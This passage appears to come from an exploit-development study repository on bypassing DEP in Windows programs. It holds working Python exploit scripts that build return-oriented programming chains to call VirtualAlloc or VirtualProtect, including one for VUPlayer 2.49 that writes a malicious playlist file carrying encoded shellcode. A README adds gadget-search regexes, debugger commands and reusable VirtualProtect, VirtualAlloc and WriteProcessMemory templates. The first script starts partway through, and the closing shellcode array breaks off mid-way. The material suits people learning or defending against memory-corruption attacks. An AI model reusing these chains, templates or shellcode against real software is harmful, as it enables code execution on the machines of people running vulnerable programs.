 86 | rop += struct.pack("<L", 0x10024ece)  # ADD EDX,EBX # POP EBX # RETN 0x10 
 87 | rop += struct.pack("<L", 0x41414141)  # padding ebx
 88 | rop += rop_nop
 89 | rop += rop_nop
 90 | rop += rop_nop
 91 | rop += rop_nop
 92 | rop += rop_nop
 93 | rop += rop_nop
 94 | rop += struct.pack("<L", 0x1001741e) # ADD EAX,EDX # RETN 
 95 | 
 96 | rop += struct.pack("<L", 0x1002e0c8)  # MOV EAX,DWORD PTR [EAX] # RETN    **
 97 | rop += struct.pack("<L", 0x1002e0c8)  # MOV EAX,DWORD PTR [EAX] # RETN    **
 98 | rop += struct.pack("<L", 0x1001fcbb)  # MOV DWORD PTR [EDI],EAX # MOV EAX,ESI # POP EDI # POP ESI # POP EBP # RETN 
 99 | rop += struct.pack("<L", 0x41414141)  # padding edi
100 | rop += struct.pack("<L", 0x41414141)  # padding esi
101 | rop += struct.pack("<L", 0x41414141)  # padding ebp
102 | 
103 | #step 2 - patching ret address
104 | rop += struct.pack("<L", 0x10024075)  # XOR EAX,EAX # RETN 
105 | rop += struct.pack("<L", 0x1001741e)  # ADD EAX,EDX # RETN
106 | rop += struct.pack("<L", 0x1001d2ac)  # ADD EAX,4 # RETN
107 | rop += struct.pack("<L", 0x100128f7)  # PUSH EAX # POP EDI # POP ESI # POP EBX # RETN 
108 | rop += struct.pack("<L", 0x41414141)  # padding esi
109 | rop += struct.pack("<L", 0x41414141)  # padding ebx
110 | rop += struct.pack("<L", 0x1001e84e)  # POP ECX # RETN
111 | rop += struct.pack("<L", 0xfffffbd4)  # -42c
112 | rop += struct.pack("<L", 0x10027dae)  # SUB EAX,ECX # RETN  
113 | rop += struct.pack("<L", 0x1001fcbb)  # MOV DWORD PTR [EDI],EAX # MOV EAX,ESI # POP EDI # POP ESI # POP EBP # RETN 
114 | rop += struct.pack("<L", 0x41414141)  # padding edi
115 | rop += struct.pack("<L", 0x41414141)  # padding esi
116 | rop += struct.pack("<L", 0x41414141)  # padding ebp
117 | 
118 | #step 3 - patching Shellcode address
119 | rop += struct.pack("<L", 0x10024075)  # XOR EAX,EAX # RETN 
120 | rop += struct.pack("<L", 0x1001741e)  # ADD EAX,EDX # RETN
121 | rop += struct.pack("<L", 0x1001d2ac)  # ADD EAX,4 # RETN
122 | rop += struct.pack("<L", 0x1001d2ac)  # ADD EAX,4 # RETN
123 | rop += struct.pack("<L", 0x100128f7)  # PUSH EAX # POP EDI # POP ESI # POP EBX # RETN 
124 | rop += struct.pack("<L", 0x41414141)  # padding esi
125 | rop += struct.pack("<L", 0x41414141)  # padding ebx
126 | rop += struct.pack("<L", 0x1001e84e)  # POP ECX # RETN
127 | rop += struct.pack("<L", 0xfffffbd8)  # -428
128 | rop += struct.pack("<L", 0x10027dae)  # SUB EAX,ECX # RETN  
129 | rop += struct.pack("<L", 0x1001fcbb)  # MOV DWORD PTR [EDI],EAX # MOV EAX,ESI # POP EDI # POP ESI # POP EBP # RETN 
130 | rop += struct.pack("<L", 0x41414141)  # padding edi
131 | rop += struct.pack("<L", 0x41414141)  # padding esi
132 | rop += struct.pack("<L", 0x41414141)  # padding ebp
133 | 
134 | #step 4 - dwsize 0x1
135 | rop += struct.pack("<L", 0x10024075)  # XOR EAX,EAX # RETN 
136 | rop += struct.pack("<L", 0x1001741e)  # ADD EAX,EDX # RETN
137 | rop += struct.pack("<L", 0x1001d2ac)  # ADD EAX,4 # RETN
138 | rop += struct.pack("<L", 0x1001d2ac)  # ADD EAX,4 # RETN
139 | rop += struct.pack("<L", 0x1001d2ac)  # ADD EAX,4 # RETN
140 | rop += struct.pack("<L", 0x100128f7)  # PUSH EAX # POP EDI # POP ESI # POP EBX # RETN 
141 | rop += struct.pack("<L", 0x41414141)  # padding esi
142 | rop += struct.pack("<L", 0x41414141)  # padding ebx
143 | rop += struct.pack("<L", 0x10024075)  # XOR EAX,EAX # RETN 
144 | rop += struct.pack("<L", 0x10023327)  # INC EAX # RETN  
145 | rop += struct.pack("<L", 0x1001fcbb)  # MOV DWORD PTR [EDI],EAX # MOV EAX,ESI # POP EDI # POP ESI # POP EBP # RETN 
146 | rop += struct.pack("<L", 0x41414141)  # padding edi
147 | rop += struct.pack("<L", 0x41414141)  # padding esi
148 | rop += struct.pack("<L", 0x41414141)  # padding ebp
149 | 
150 | #patching flAllocationType
151 | rop += struct.pack("<L", 0x10024075)  # XOR EAX,EAX # RETN 
152 | rop += struct.pack("<L", 0x1001741e)  # ADD EAX,EDX # RETN
153 | rop += struct.pack("<L", 0x1001d2ac)  # ADD EAX,4 # RETN
154 | rop += struct.pack("<L", 0x1001d2ac)  # ADD EAX,4 # RETN
155 | rop += struct.pack("<L", 0x1001d2ac)  # ADD EAX,4 # RETN
156 | rop += struct.pack("<L", 0x1001d2ac)  # ADD EAX,4 # RETN
157 | rop += struct.pack("<L", 0x100128f7)  # PUSH EAX # POP EDI # POP ESI # POP EBX # RETN 
158 | rop += struct.pack("<L", 0x41414141)  # padding esi
159 | rop += struct.pack("<L", 0x41414141)  # padding ebx
160 | rop += struct.pack("<L", 0x1002976e)  # POP EAX # RETN
161 | rop += struct.pack("<L", 0xffffefff)
162 | rop += struct.pack("<L", 0x10023327)  # INC EAX # RETN 
163 | rop += struct.pack("<L", 0x1001e7b4)  # NEG EAX # POP EBX # RETN
164 | rop += struct.pack("<L", 0x41414141)  # padding ebx
165 | rop += struct.pack("<L", 0x1001fcbb)  # MOV DWORD PTR [EDI],EAX # MOV EAX,ESI # POP EDI # POP ESI # POP EBP # RETN 
166 | rop += struct.pack("<L", 0x41414141)  # padding edi
167 | rop += struct.pack("<L", 0x41414141)  # padding esi
168 | rop += struct.pack("<L", 0x41414141)  # padding ebp
169 | 
170 | #patching flProtect
171 | rop += struct.pack("<L", 0x10024075)  # XOR EAX,EAX # RETN 
172 | rop += struct.pack("<L", 0x1001741e)  # ADD EAX,EDX # RETN
173 | rop += struct.pack("<L", 0x1001d2ac)  # ADD EAX,4 # RETN
174 | rop += struct.pack("<L", 0x1001d2ac)  # ADD EAX,4 # RETN
175 | rop += struct.pack("<L", 0x1001d2ac)  # ADD EAX,4 # RETN
176 | rop += struct.pack("<L", 0x1001d2ac)  # ADD EAX,4 # RETN
177 | rop += struct.pack("<L", 0x1001d2ac)  # ADD EAX,4 # RETN
178 | rop += struct.pack("<L", 0x100128f7)  # PUSH EAX # POP EDI # POP ESI # POP EBX # RETN 
179 | rop += struct.pack("<L", 0x41414141)  # padding esi
180 | rop += struct.pack("<L", 0x41414141)  # padding ebx
181 | rop += struct.pack("<L", 0x1002976e)  # POP EAX # RETN
182 | rop += struct.pack("<L", 0xffffffc0)
183 | rop += struct.pack("<L", 0x1001e7b4)  # NEG EAX # POP EBX # RETN
184 | rop += struct.pack("<L", 0x41414141)  # padding ebx
185 | rop += struct.pack("<L", 0x1001fcbb)  # MOV DWORD PTR [EDI],EAX # MOV EAX,ESI # POP EDI # POP ESI # POP EBP # RETN 
186 | rop += struct.pack("<L", 0x41414141)  # padding edi
187 | rop += struct.pack("<L", 0x41414141)  # padding esi
188 | rop += struct.pack("<L", 0x41414141)  # padding ebp
189 | 
190 | #restoring esp
191 | rop += struct.pack("<L", 0x10024075)  # XOR EAX,EAX # RETN 
192 | rop += struct.pack("<L", 0x1001741e)  # ADD EAX,EDX # RETN
193 | rop += struct.pack("<L", 0x1002be41)  # XCHG EAX,ESP # RETN
194 | 
195 | print((1100 - len(rop)))
196 | rop += b"\x90" * (1100 - len(rop))
197 | 
198 | crash = b"http://." + b"A" * offset
199 | crash += rop_nop
200 | crash += b"\x90"*4
201 | crash += rop
202 | crash += shellcode
203 | crash += b"C"* (total - len(crash))
204 |  
205 | writeFile = open (file, "wb")
206 | writeFile.write( crash )
207 | writeFile.close()
208 | 


--------------------------------------------------------------------------------
/5.dep_bypass/README.md:
--------------------------------------------------------------------------------
  1 | # DEP bypass
  2 | Some methods and hint to bypass DEP
  3 | 
  4 | 1. Have you overwrite EIP? 
  5 | 
  6 |     ```py
  7 |     !py mona find -type instr -s "ret" -m MODULE.dll
  8 |     ```
  9 | 
 10 | 2. Have you overwrite SEH?
 11 | 
 12 |    ```py
 13 |     add esp, offset + ret
 14 |     mov esp, register + ret
 15 |     xchg register,esp + ret
 16 |     call register (se il registro punta al nostro buffer)
 17 |     mov reg,[ebp+0c] + call reg (or other references to seh record)
 18 |     push reg + pop esp + ret (if you control ‘reg’)
 19 |     mov reg, dword ptr fs:[0] + … + ret  (set esp indirectly, via SEH record)
 20 |     ```
 21 | 
 22 | 3. Search mona modules without rebase
 23 |   
 24 |     ```py
 25 |     !py mona modules -cm rebase=false
 26 |     ```
 27 |     
 28 |     
 29 | 4. Always remember the padding
 30 | 
 31 |     ```py
 32 |     ecx = pack("<I",0x68b90948)  # XOR ECX,ECX # MOV EAX,ECX # POP EBX # POP ESI # RETN
 33 |     ecx += pack('<L',0x41414141) # padding for pop ebp
 34 |     ecx += pack('<L',0x41414141) # padding for pop esi
 35 |     ```
 36 |     
 37 | 5. Same for RETN 0xN
 38 | 
 39 |     ```py
 40 |     rop += istruzione_retn # padding for retn 0x04
 41 |     rop += istruzione_retn # padding for retn 0x04
 42 |     ```
 43 | 6. Same for ADD ESP,XX
 44 | 
 45 |     ```py
 46 |     ecx += pack('<L',0x41414141) # padding for add esp
 47 |     ecx += pack('<L',0x41414141) # padding for add esp
 48 |     ....
 49 |     ```
 50 | 6. Search RW module
 51 |  
 52 |     ```py
 53 |     0:000> !dh module
 54 |     ......
 55 | 
 56 |     SECTION HEADER #6
 57 |     .idata name
 58 |         224 virtual size
 59 |         6000 virtual address
 60 |         400 size of raw data
 61 |         1600 file pointer to raw data
 62 |         0 file pointer to relocation table
 63 |         0 file pointer to line numbers
 64 |         0 number of relocations
 65 |         0 number of line numbers
 66 |     C0300040 flags
 67 |          Initialized Data
 68 |          4 byte align
 69 |          Read Write
 70 |     ............
 71 |     
 72 |     0:000>  ? modules + 224 + 6000 + 4
 73 |     Evaluate expression: 1649435176 = 62506228
 74 |   
 75 |     0:000> !address 62506228
 76 |     Usage:                  Image
 77 |     Base Address:           62506000
 78 |     End Address:            62507000
 79 |     Region Size:            00001000 (   4.000 kB)
 80 |     State:                  00001000          MEM_COMMIT
 81 |     Protect:                00000004          PAGE_READWRITE
 82 |     Type:                   01000000          MEM_IMAGE
 83 |     Allocation Base:        62500000
 84 |     Allocation Protect:     00000080          PAGE_EXECUTE_WRITECOPY
 85 |     Image Path:             C:\Users\User\Desktop\vulnserver\essfunc.dll
 86 |     Module Name:            essfunc
 87 |     Loaded Image Name:      
 88 |     Mapped Image Name:      
 89 |     More info:              lmv m essfunc
 90 |     More info:              !lmi essfunc
 91 |     More info:              ln 0x62506228
 92 |     More info:              !dh 0x62500000
 93 |     ```
 94 | 
 95 | 7. Get IAT
 96 |     ```py
 97 |     0:009> !dh fsws -f
 98 |         0  DLL characteristics
 99 |         0 [       0] address [size] of Export Directory
100 |     192B50 [     1CC] address [size] of Import Directory
101 |     1AE000 [   133E0] address [size] of Resource Directory
102 |         0 [       0] address [size] of Exception Directory
103 |         0 [       0] address [size] of Security Directory
104 |         0 [       0] address [size] of Base Relocation Directory
105 |     166C40 [      1C] address [size] of Debug Directory
106 |         0 [       0] address [size] of Description Directory
107 |         0 [       0] address [size] of Special Directory
108 |         0 [       0] address [size] of Thread Storage Directory
109 |         0 [       0] address [size] of Load Configuration Directory
110 |         0 [       0] address [size] of Bound Import Directory
111 |     166000 [     C40] address [size] of Import Address Table Directory
112 |         0 [       0] address [size] of Delay Import Directory
113 |         0 [       0] address [size] of COR20 Header Directory
114 |         0 [       0] address [size] of Reserved Directory
115 | 
116 |     0:009> dps fsws +0x166000 L100
117 |     00566000  7606eb20 advapi32!RegCloseKeyStub
118 |     00566004  760731e0 advapi32!RegEnumKeyA
119 |     00566008  7606ea50 advapi32!RegQueryValueExAStub
120 |     005662f4  7588b6b0 KERNEL32!GetPrivateProfileStringA
121 |     005662f8  7588ae50 KERNEL32!WritePrivateProfileStringA
122 |     005662fc  758887a0 KERNEL32!GetModuleFileNameAStub
123 |     ......
124 |     0:009> dps
125 |     ......
126 |     ```
127 | ## Regex ROP
128 | ```py
129 | :  # (jmp|call) esp
130 | :  # mov e..,e..
131 | :  # xchg e..,e..
132 | :  # push e.. # RETN  
133 | :  # push e.. # pop e.. # RETN  
134 | :  # pop e.. # RETN  
135 | :  # inc e..
136 | :  # dec e..
137 | :  # neg e..
138 | :  # push e..
139 | :  # pop e..
140 | :  # ADD E..,e..
141 | :  # pushad # RETN
142 | :  # and E..,(E..|0x.+?|[[:alnum:]])+
143 | :  # xor E..,(E..|0x.+?|[[:alnum:]])+
144 | :  # ADD E..,(E..|0x.+?|[[:alnum:]])+
145 | :  # sub E..,(E..|0x.+?|[[:alnum:]])+
146 | :  # mov e..,DWORD PTR
147 | :  # lea e..,
148 | :  # MOV DWORD PTR \[(E..|E..\+[[:alnum:]]+)\],EAX
149 | ```
150 | 
151 | ## VirtualProtect Basic Template
152 | 
153 | ```py
154 | #GOALS - VirtualProtect
155 | #EAX 90909090 => Nop                                              
156 | #ECX <writeable pointer> => lpflOldProtect                                
157 | #EDX 00000040 => flNewProtect                                   
158 | #EBX 00000201 => dwSize   512                                      
159 | #ESP ???????? => Leave as is                                 
160 | #EBP ???????? => Call to ESP (jmp, call, push,..) -> !py mona jmp -r esp -cpb '\x00'              
161 | #ESI ???????? => PTR to VirtualProtect - DWORD PTR of VirtualProtect 
162 | #EDI RETN => ROP-Nop same as EIP  --> !py mona find -type instr -s "retn" -m module.dll -cpb "\x00"
163 | ```
164 | ## VirtualProtect Sniper Template
165 | 
166 | ```py
167 | # Calling VirtualProtect with parameters
168 | payload += struct.pack('<L', 0x77325c90)    # Pointer to kernel32.VirtualProtect()
169 | payload += struct.pack('<L', 0x11111111)    # return address (address of shellcode, or where to jump after VirtualProtect call. Not officially apart of the "parameters"
170 | payload += struct.pack('<L', 0x22222222)    # lpAddress
171 | payload += struct.pack('<L', 0x33333333)    # size of shellcode (0x500 is ok)
172 | payload += struct.pack('<L', 0x44444444)    # flNewProtect (0x40)
173 | payload += struct.pack('<L', 0x62506d10)    # pOldProtect (any writeable address)
174 | ```
175 | 
176 | ## VirtualAlloc Template
177 | ```py
178 | #GOAL       VirtualAlloc                                         
179 | # EAX 90909090 => Nop                                                
180 | # ECX 00000040 => flProtect                                         
181 | # EDX 00001000 => flAllocationType                                    
182 | # EBX 00000001 => dwSize                                            
183 | # ESP ???????? => Leave as is                                         
184 | # EBP ???????? => Call to ESP (jmp, call, push,..)    !py mona jmp -r esp -cpb '\x00'                    
185 | # ESI ???????? => PTR to VirtualAlloc - DWORD PTR of VirtualAlloc         
186 | # EDI RETN => ROP-Nop same as EIP          !py mona find -type instr -s "retn" -m modulo.dll -cpb "\x00"   
187 | ```
188 | 
189 | ## WriteProcessMemory Template
190 | No encoding for this method! Create manually the shellcode
191 | ```py
192 | # kernel32!WriteProcessMemory placeholder parameters
193 | payload += struct.pack('<L', 0x7732ae50)    # Pointer to kernel32!WriteProcessMemory 
194 | payload += struct.pack('<L', 0x61c72d10)    # RX from MODULE no aslr
195 | payload += struct.pack('<L', 0xFFFFFFFF)    # hProccess = handle to current process (Pseudo handle = 0xFFFFFFFF points to current process)
196 | payload += struct.pack('<L', 0x61c72d10)    # lpBaseAddress = RX from MODULE no aslr
197 | payload += struct.pack('<L', 0x11111111)    # lpBuffer = base address of shellcode (dynamically generated)
198 | payload += struct.pack('<L', 0x22222222)    # nSize = size of shellcode 
199 | payload += struct.pack('<L', 0x1004dd10)    # lpNumberOfBytesWritten = writable location RW in MODULE no aslr
200 | ```
201 | ## Resources
202 | 1. https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/
203 | 2. https://vickieli.dev/binary%20exploitation/data-execution-prevention/
204 | 3. https://connormcgarr.github.io/ROP/
205 | 4. https://trailofbits.files.wordpress.com/2010/04/practical-rop.pdf
206 | 5. https://www.fuzzysecurity.com/tutorials/expDev/7.html
207 | 6. https://h0mbre.github.io/Creating_Win32_ROP_Chains
208 | 7. https://www.shogunlab.com/blog/2018/02/11/zdzg-windows-exploit-5.html
209 | 8. https://connormcgarr.github.io/ROP2/
210 | 


--------------------------------------------------------------------------------
/5.dep_bypass/VUPlayer_2.49/README.md:
--------------------------------------------------------------------------------
 1 | # VUPlayer 2.49
 2 | 
 3 | Downloaded from: https://www.exploit-db.com/exploits/40018
 4 | 
 5 | ## Initial Crash
 6 | ```py
 7 | import sys
 8 | import struct
 9 | import os
10 | 
11 | crash_file = "vuplayer-dep.m3u"
12 | 
13 | #\x00\x09\x0a\x0d\x1a
14 | fuzz = "A" * 1012
15 | fuzz += "B" * 4
16 | fuzz += "C" * (3000 - len(fuzz))
17 | 
18 | makedafile = open(crash_file, "w")
19 | makedafile.write(fuzz)
20 | makedafile.close()
21 | ```
22 | 


--------------------------------------------------------------------------------
/5.dep_bypass/VUPlayer_2.49/exploit_virtualprotect.py:
--------------------------------------------------------------------------------
  1 | import sys
  2 | import struct
  3 | import os
  4 | 
  5 | crash_file = "vuplayer-dep.m3u"
  6 | 
  7 | rop_nop = struct.pack("<I",0x1060e075)
  8 | #step 1 - saving esp in EAX & EDX
  9 | rop = struct.pack('<L', 0x10010405)  # PUSH ESP # POP EDI # POP ESI # RETN    ** [BASS.dll] **   |  ascii {PAGE_EXECUTE_READWRITE}
 10 | rop += struct.pack('<L',0x41414141) # padding for pop esi
 11 | rop += struct.pack('<L', 0x100171d8)  # MOV EAX,EDI # POP EDI # POP ESI # RETN    ** [BASS.dll] ** 
 12 | rop += struct.pack('<L',0x41414141) # padding for pop edi
 13 | rop += struct.pack('<L',0x41414141) # padding for pop esi
 14 | rop += struct.pack('<L', 0x10038a6d)  # XCHG EAX,EDX # RETN    ** 
 15 | rop += struct.pack('<L', 0x10607ebe)  # MOV EAX,EDX # RETN    ** [BASSMIDI.dll] **
 16 | 
 17 | #step 2 jumping over template
 18 | rop += struct.pack('<L', 0x1010162e)  # ADD ESP,20 # RETN    ** [BASSWMA.dll] **
 19 | 
 20 | rop += struct.pack('<L', 0x10040284)    # kernel32.VirtualProtect()
 21 | rop += struct.pack('<L', 0x4c4c4c4c)    # return address (address of shellcode, or where to jump after VirtualProtect call. Not officially apart of the "parameters"
 22 | rop += struct.pack('<L', 0x45454545)    # lpAddress
 23 | rop += struct.pack('<L', 0x03030303)    # size of shellcode
 24 | rop += struct.pack('<L', 0x54545454)    # flNewProtect
 25 | rop += struct.pack('<L', 0x10040f26)    # pOldProtect (any writeable address) - ci sto? sembra piccolo
 26 | 
 27 | rop += b"\x90" * 8 # padding
 28 | 
 29 | #patching VirtualProtect
 30 | rop += struct.pack('<L', 0x10014474)  # ADD EAX,4 # RETN    ** [BASS.dll] **
 31 | rop += struct.pack('<L', 0x10014474)  # ADD EAX,4 # RETN    ** [BASS.dll] **
 32 | rop += struct.pack('<L', 0x10014474)  # ADD EAX,4 # RETN    ** [BASS.dll] **
 33 | rop += struct.pack('<L', 0x10014474)  # ADD EAX,4 # RETN    ** [BASS.dll] **
 34 | rop += struct.pack('<L', 0x10014474)  # ADD EAX,4 # RETN    ** [BASS.dll] **
 35 | rop += struct.pack('<L', 0x10014474)  # ADD EAX,4 # RETN    ** [BASS.dll] **
 36 | rop += struct.pack('<L', 0x10014474)  # ADD EAX,4 # RETN    ** [BASS.dll] **
 37 | rop += struct.pack('<L', 0x10038a6d)  # XCHG EAX,EDX # RETN    ** 
 38 | rop += struct.pack('<L', 0x10607ebe)  # MOV EAX,EDX # RETN    ** [BASSMIDI.dll] **
 39 | rop += struct.pack('<L', 0x1004041c)  # POP EDX # RETN    ** [BASS.dll] **   |
 40 | rop += struct.pack('<L', 0xffffffff) #-1
 41 | rop += struct.pack('<L', 0x100332eb)  # INC EDX # RETN    ** [BASS.dll] **
 42 | rop += struct.pack('<L', 0x10101004)  # PUSH EAX # ADC BYTE PTR [EAX],DL # POP ECX # RETN  
 43 | rop += struct.pack('<L', 0x1001eaf1)  # MOV EAX,DWORD PTR [EAX] # RETN  
 44 | rop += struct.pack('<L', 0x1001eaf1)  # MOV EAX,DWORD PTR [EAX] # RETN  
 45 | rop += struct.pack('<L', 0x1010306c)  # MOV DWORD PTR [ECX],EAX # XOR EAX,EAX # RETN 0x08  
 46 | rop += rop_nop # padding for retn 0x08
 47 | rop += rop_nop # padding for retn 0x08
 48 | rop += rop_nop # padding for retn 0x08
 49 | 
 50 | #patching return address
 51 | rop += struct.pack('<L', 0x10015fe0)  # INC ECX # RETN 
 52 | rop += struct.pack('<L', 0x10015fe0)  # INC ECX # RETN 
 53 | rop += struct.pack('<L', 0x10015fe0)  # INC ECX # RETN 
 54 | rop += struct.pack('<L', 0x10015fe0)  # INC ECX # RETN 
 55 | rop += struct.pack('<L', 0x10602fd4)  # MOV EAX,ECX # RETN    ** [BASSMIDI.dll] ** 
 56 | rop += struct.pack('<L', 0x1001fc81)  # ADD EAX,58 # RETN 0x04    ** [BASS.dll] ** 
 57 | rop += rop_nop # padding for retn 0x04
 58 | rop += rop_nop # padding for retn 0x04
 59 | rop += struct.pack('<L', 0x1001fc81)  # ADD EAX,58 # RETN 0x04    ** [BASS.dll] ** 
 60 | rop += rop_nop # padding for retn 0x04
 61 | rop += rop_nop # padding for retn 0x04
 62 | rop += struct.pack('<L', 0x1001fc81)  # ADD EAX,58 # RETN 0x04    ** [BASS.dll] ** 
 63 | rop += rop_nop # padding for retn 0x04
 64 | rop += rop_nop # padding for retn 0x04
 65 | rop += struct.pack('<L', 0x1001fc81)  # ADD EAX,58 # RETN 0x04    ** [BASS.dll] ** 
 66 | rop += rop_nop # padding for retn 0x04
 67 | rop += rop_nop # padding for retn 0x04
 68 | rop += struct.pack('<L', 0x1001fc81)  # ADD EAX,58 # RETN 0x04    ** [BASS.dll] ** 
 69 | rop += rop_nop # padding for retn 0x04
 70 | rop += rop_nop # padding for retn 0x04
 71 | rop += struct.pack('<L', 0x1001fc81)  # ADD EAX,58 # RETN 0x04    ** [BASS.dll] ** 
 72 | rop += rop_nop # padding for retn 0x04
 73 | rop += rop_nop # padding for retn 0x04
 74 | rop += struct.pack('<L', 0x1010306c)  # MOV DWORD PTR [ECX],EAX # XOR EAX,EAX # RETN 0x08  
 75 | rop += rop_nop # padding for retn 0x08
 76 | rop += rop_nop # padding for retn 0x08
 77 | rop += rop_nop # padding for retn 0x08
 78 | 
 79 | #patching lpAddress
 80 | rop += struct.pack('<L', 0x10015fe0)  # INC ECX # RETN 
 81 | rop += struct.pack('<L', 0x10015fe0)  # INC ECX # RETN 
 82 | rop += struct.pack('<L', 0x10015fe0)  # INC ECX # RETN 
 83 | rop += struct.pack('<L', 0x10015fe0)  # INC ECX # RETN 
 84 | rop += struct.pack('<L', 0x10602fd4)  # MOV EAX,ECX # RETN    ** [BASSMIDI.dll] ** 
 85 | rop += struct.pack('<L', 0x1001fc81)  # ADD EAX,58 # RETN 0x04    ** [BASS.dll] ** 
 86 | rop += rop_nop # padding for retn 0x04
 87 | rop += rop_nop # padding for retn 0x04
 88 | rop += struct.pack('<L', 0x1001fc81)  # ADD EAX,58 # RETN 0x04    ** [BASS.dll] ** 
 89 | rop += rop_nop # padding for retn 0x04
 90 | rop += rop_nop # padding for retn 0x04
 91 | rop += struct.pack('<L', 0x1001fc81)  # ADD EAX,58 # RETN 0x04    ** [BASS.dll] ** 
 92 | rop += rop_nop # padding for retn 0x04
 93 | rop += rop_nop # padding for retn 0x04
 94 | rop += struct.pack('<L', 0x1001fc81)  # ADD EAX,58 # RETN 0x04    ** [BASS.dll] ** 
 95 | rop += rop_nop # padding for retn 0x04
 96 | rop += rop_nop # padding for retn 0x04
 97 | rop += struct.pack('<L', 0x1001fc81)  # ADD EAX,58 # RETN 0x04    ** [BASS.dll] ** 
 98 | rop += rop_nop # padding for retn 0x04
 99 | rop += rop_nop # padding for retn 0x04
100 | rop += struct.pack('<L', 0x1001fc81)  # ADD EAX,58 # RETN 0x04    ** [BASS.dll] ** 
101 | rop += rop_nop # padding for retn 0x04
102 | rop += rop_nop # padding for retn 0x04
103 | rop += struct.pack('<L',0x1003a083)  # DEC EAX # RETN    ** [BASS.dll] ** 
104 | rop += struct.pack('<L',0x1003a083)  # DEC EAX # RETN    ** [BASS.dll] ** 
105 | rop += struct.pack('<L',0x1003a083)  # DEC EAX # RETN    ** [BASS.dll] ** 
106 | rop += struct.pack('<L',0x1003a083)  # DEC EAX # RETN    ** [BASS.dll] ** 
107 | rop += struct.pack('<L', 0x1010306c)  # MOV DWORD PTR [ECX],EAX # XOR EAX,EAX # RETN 0x08  
108 | rop += rop_nop # padding for retn 0x08
109 | rop += rop_nop # padding for retn 0x08
110 | rop += rop_nop # padding for retn 0x08
111 | 
112 | #patching size
113 | rop += struct.pack('<L', 0x10015fe0)  # INC ECX # RETN 
114 | rop += struct.pack('<L', 0x10015fe0)  # INC ECX # RETN 
115 | rop += struct.pack('<L', 0x10015fe0)  # INC ECX # RETN 
116 | rop += struct.pack('<L', 0x10015fe0)  # INC ECX # RETN 
117 | rop += struct.pack('<L', 0x10015f82)  # POP EAX # RETN    ** [BASS.dll] **   | 
118 | rop += struct.pack('<L', 0xfffffbff) #-401
119 | rop += struct.pack('<L', 0x10014db4)  # NEG EAX # RETN    ** [BASS.dll] ** 
120 | rop += struct.pack('<L', 0x1010306c)  # MOV DWORD PTR [ECX],EAX # XOR EAX,EAX # RETN 0x08  
121 | rop += rop_nop # padding for retn 0x08
122 | rop += rop_nop # padding for retn 0x08
123 | rop += rop_nop # padding for retn 0x08
124 | 
125 | #patching flProtect
126 | rop += struct.pack('<L', 0x10015fe0)  # INC ECX # RETN 
127 | rop += struct.pack('<L', 0x10015fe0)  # INC ECX # RETN 
128 | rop += struct.pack('<L', 0x10015fe0)  # INC ECX # RETN 
129 | rop += struct.pack('<L', 0x10015fe0)  # INC ECX # RETN 
130 | rop += struct.pack('<L', 0x10015f82)  # POP EAX # RETN    ** [BASS.dll] **   | 
131 | rop += struct.pack('<L', 0xffffffc0) #-40
132 | rop += struct.pack('<L', 0x10014db4)  # NEG EAX # RETN    ** [BASS.dll] ** 
133 | rop += struct.pack('<L', 0x1010306c)  # MOV DWORD PTR [ECX],EAX # XOR EAX,EAX # RETN 0x08  
134 | rop += rop_nop # padding for retn 0x08
135 | rop += rop_nop # padding for retn 0x08
136 | rop += rop_nop # padding for retn 0x08
137 | 
138 | #switching to esp
139 | rop += struct.pack('<L', 0x1003314a)  # DEC ECX # RETN    ** [BASS.dll] **   | 
140 | rop += struct.pack('<L', 0x1003314a)  # DEC ECX # RETN    ** [BASS.dll] **   | 
141 | rop += struct.pack('<L', 0x1003314a)  # DEC ECX # RETN    ** [BASS.dll] **   | 
142 | rop += struct.pack('<L', 0x1003314a)  # DEC ECX # RETN    ** [BASS.dll] **   | 
143 | rop += struct.pack('<L', 0x1003314a)  # DEC ECX # RETN    ** [BASS.dll] **   | 
144 | rop += struct.pack('<L', 0x1003314a)  # DEC ECX # RETN    ** [BASS.dll] **   | 
145 | rop += struct.pack('<L', 0x1003314a)  # DEC ECX # RETN    ** [BASS.dll] **   | 
146 | rop += struct.pack('<L', 0x1003314a)  # DEC ECX # RETN    ** [BASS.dll] **   | 
147 | rop += struct.pack('<L', 0x1003314a)  # DEC ECX # RETN    ** [BASS.dll] **   | 
148 | rop += struct.pack('<L', 0x1003314a)  # DEC ECX # RETN    ** [BASS.dll] **   | 
149 | rop += struct.pack('<L', 0x1003314a)  # DEC ECX # RETN    ** [BASS.dll] **   | 
150 | rop += struct.pack('<L', 0x1003314a)  # DEC ECX # RETN    ** [BASS.dll] **   | 
151 | rop += struct.pack('<L', 0x1003314a)  # DEC ECX # RETN    ** [BASS.dll] **   | 
152 | rop += struct.pack('<L', 0x1003314a)  # DEC ECX # RETN    ** [BASS.dll] **   | 
153 | rop += struct.pack('<L', 0x1003314a)  # DEC ECX # RETN    ** [BASS.dll] **   | 
154 | rop += struct.pack('<L', 0x1003314a)  # DEC ECX # RETN    ** [BASS.dll] **   | 
155 | rop += struct.pack('<L', 0x10602fd4)  # MOV EAX,ECX # RETN    ** [BASSMIDI.dll] ** 
156 | rop += struct.pack('<L', 0x10606397)  # XCHG EAX,ESP # RETN    ** [BASSMIDI.dll] ** 
157 | 
158 | print(600 - len(rop))
159 | rop += b"\x90" * (600 - len(rop))
160 | 
161 | shellcode =  b""
162 | shellcode += b"\xbf\xf0\xe7\x80\xa3\xdb\xcb\xd9\x74\x24\xf4"
163 | shellcode += b"\x5a\x31\xc9\xb1\x52\x31\x7a\x12\x83\xea\xfc"
164 | shellcode += b"\x03\x8a\xe9\x62\x56\x96\x1e\xe0\x99\x66\xdf"
165 | shellcode += b"\x85\x10\x83\xee\x85\x47\xc0\x41\x36\x03\x84"
166 | shellcode += b"\x6d\xbd\x41\x3c\xe5\xb3\x4d\x33\x4e\x79\xa8"
167 | shellcode += b"\x7a\x4f\xd2\x88\x1d\xd3\x29\xdd\xfd\xea\xe1"
168 | shellcode += b"\x10\xfc\x2b\x1f\xd8\xac\xe4\x6b\x4f\x40\x80"
169 | shellcode += b"\x26\x4c\xeb\xda\xa7\xd4\x08\xaa\xc6\xf5\x9f"
170 | shellcode += b"\xa0\x90\xd5\x1e\x64\xa9\x5f\x38\x69\x94\x16"
171 | shellcode += b"\xb3\x59\x62\xa9\x15\x90\x8b\x06\x58\x1c\x7e"
172 | shellcode += b"\x56\x9d\x9b\x61\x2d\xd7\xdf\x1c\x36\x2c\x9d"
